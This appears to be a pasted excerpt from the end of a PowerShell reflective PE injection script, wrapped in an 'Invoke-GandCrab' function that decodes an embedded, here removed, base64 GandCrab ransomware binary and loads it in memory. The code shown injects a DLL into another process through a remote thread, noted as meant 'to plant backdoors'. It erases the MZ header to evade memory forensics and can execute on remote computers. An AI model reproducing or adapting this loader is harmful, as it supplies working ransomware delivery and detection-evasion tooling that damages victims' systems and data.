  2519.         $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2520.         $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2521.         $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2522.        
  2523.         $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
  2524.        
  2525.        
  2526.         $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2527.         if ($Success -eq $false)
  2528.         {
  2529.             Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2530.         }
  2531.     }
  2532.  
  2533.  
  2534.     Function Main
  2535.     {
  2536.         $Win32Functions = Get-Win32Functions
  2537.         $Win32Types = Get-Win32Types
  2538.         $Win32Constants =  Get-Win32Constants
  2539.        
  2540.         $RemoteProcHandle = [IntPtr]::Zero
  2541.    
  2542.         #If a remote process to inject in to is specified, get a handle to it
  2543.         if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
  2544.         {
  2545.             Throw "Can't supply a ProcId and ProcName, choose one or the other"
  2546.         }
  2547.         elseif ($ProcName -ne $null -and $ProcName -ne "")
  2548.         {
  2549.             $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
  2550.             if ($Processes.Count -eq 0)
  2551.             {
  2552.                 Throw "Can't find process $ProcName"
  2553.             }
  2554.             elseif ($Processes.Count -gt 1)
  2555.             {
  2556.                 $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
  2557.                 Write-Output $ProcInfo
  2558.                 Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
  2559.             }
  2560.             else
  2561.             {
  2562.                 $ProcId = $Processes[0].ID
  2563.             }
  2564.         }
  2565.        
  2566.         #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
  2567.         #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
  2568. #       if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
  2569. #       {
  2570. #           Write-Verbose "Getting SeDebugPrivilege"
  2571. #           Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2572. #       }  
  2573.        
  2574.         if (($ProcId -ne $null) -and ($ProcId -ne 0))
  2575.         {
  2576.             $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
  2577.             if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2578.             {
  2579.                 Throw "Couldn't obtain the handle for process ID: $ProcId"
  2580.             }
  2581.            
  2582.             Write-Verbose "Got the handle for the remote process to inject in to"
  2583.         }
  2584.        
  2585.  
  2586.         #Load the PE reflectively
  2587.         Write-Verbose "Calling Invoke-MemoryLoadLibrary"
  2588.         $PEHandle = [IntPtr]::Zero
  2589.         if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2590.         {
  2591.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
  2592.         }
  2593.         else
  2594.         {
  2595.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
  2596.         }
  2597.         if ($PELoadedInfo -eq [IntPtr]::Zero)
  2598.         {
  2599.             Throw "Unable to load PE, handle returned is NULL"
  2600.         }
  2601.        
  2602.         $PEHandle = $PELoadedInfo[0]
  2603.         $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
  2604.        
  2605.        
  2606.         #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
  2607.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2608.         if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
  2609.         {
  2610.             #########################################
  2611.             ### YOUR CODE GOES HERE
  2612.             #########################################
  2613.             switch ($FuncReturnType)
  2614.             {
  2615.                 'WString' {
  2616.                     Write-Verbose "Calling function with WString return type"
  2617.                     [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
  2618.                     if ($WStringFuncAddr -eq [IntPtr]::Zero)
  2619.                     {
  2620.                         Throw "Couldn't find function address."
  2621.                     }
  2622.                     $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2623.                     $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
  2624.                     [IntPtr]$OutputPtr = $WStringFunc.Invoke()
  2625.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
  2626.                     Write-Output $Output
  2627.                 }
  2628.  
  2629.                 'String' {
  2630.                     Write-Verbose "Calling function with String return type"
  2631.                     [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
  2632.                     if ($StringFuncAddr -eq [IntPtr]::Zero)
  2633.                     {
  2634.                         Throw "Couldn't find function address."
  2635.                     }
  2636.                     $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2637.                     $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
  2638.                     [IntPtr]$OutputPtr = $StringFunc.Invoke()
  2639.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
  2640.                     Write-Output $Output
  2641.                 }
  2642.  
  2643.                 'Void' {
  2644.                     Write-Verbose "Calling function with Void return type"
  2645.                     [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2646.                     if ($VoidFuncAddr -eq [IntPtr]::Zero)
  2647.                     {
  2648.                         Throw "Couldn't find function address."
  2649.                     }
  2650.                     $VoidFuncDelegate = Get-DelegateType @() ([Void])
  2651.                     $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
  2652.                     $VoidFunc.Invoke() | Out-Null
  2653.                 }
  2654.             }
  2655.             #########################################
  2656.             ### END OF YOUR CODE
  2657.             #########################################
  2658.         }
  2659.         #For remote DLL injection, call a void function which takes no parameters
  2660.         elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2661.         {
  2662.             $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2663.             if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
  2664.             {
  2665.                 Throw "VoidFunc couldn't be found in the DLL"
  2666.             }
  2667.            
  2668.             $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
  2669.             $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
  2670.            
  2671.             #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
  2672.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
  2673.         }
  2674.        
  2675.         #Don't free a library if it is injected in a remote process or if it is an EXE.
  2676.         #Note that all DLL's loaded by the EXE will remain loaded in memory.
  2677.         if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
  2678.         {
  2679.             Invoke-MemoryFreeLibrary -PEHandle $PEHandle
  2680.         }
  2681.         else
  2682.         {
  2683.             #Delete the PE file from memory.
  2684.             $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2685.             if ($Success -eq $false)
  2686.             {
  2687.                 Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2688.             }
  2689.         }
  2690.        
  2691.         Write-Verbose "Done!"
  2692.     }
  2693.  
  2694.     Main
  2695. }
  2696.  
  2697. #Main function to either run the script locally or remotely
  2698. Function Main
  2699. {
  2700.     if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
  2701.     {
  2702.         $DebugPreference  = "Continue"
  2703.     }
  2704.    
  2705.     Write-Verbose "PowerShell ProcessID: $PID"
  2706.    
  2707.     #Verify the image is a valid PE file
  2708.     $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
  2709.  
  2710.     if ($e_magic -ne 'MZ')
  2711.     {
  2712.         throw 'PE is not a valid PE file.'
  2713.     }
  2714.  
  2715.     if (-not $DoNotZeroMZ) {
  2716.         # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
  2717.         # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
  2718.         $PEBytes[0] = 0
  2719.         $PEBytes[1] = 0
  2720.     }
  2721.    
  2722.     #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
  2723.     if ($ExeArgs -ne $null -and $ExeArgs -ne '')
  2724.     {
  2725.         $ExeArgs = "ReflectiveExe $ExeArgs"
  2726.     }
  2727.     else
  2728.     {
  2729.         $ExeArgs = "ReflectiveExe"
  2730.     }
  2731.  
  2732.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2733.     {
  2734.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2735.     }
  2736.     else
  2737.     {
  2738.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2739.     }
  2740. }
  2741.  
  2742. Main
  2743. }
  2744.  
  2745. function Invoke-GandCrab
  2746. {
  2747.  
  2748. $PEBytes32 = "   ........ GANDCRAB BASE64 ENCODED (REMOVED) ........   "
  2749.  
  2750. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2751. Invoke-Inj -PEBytes $PEBytes
  2752.  
  2753. }
Add Comment
Please, Sign In to add comment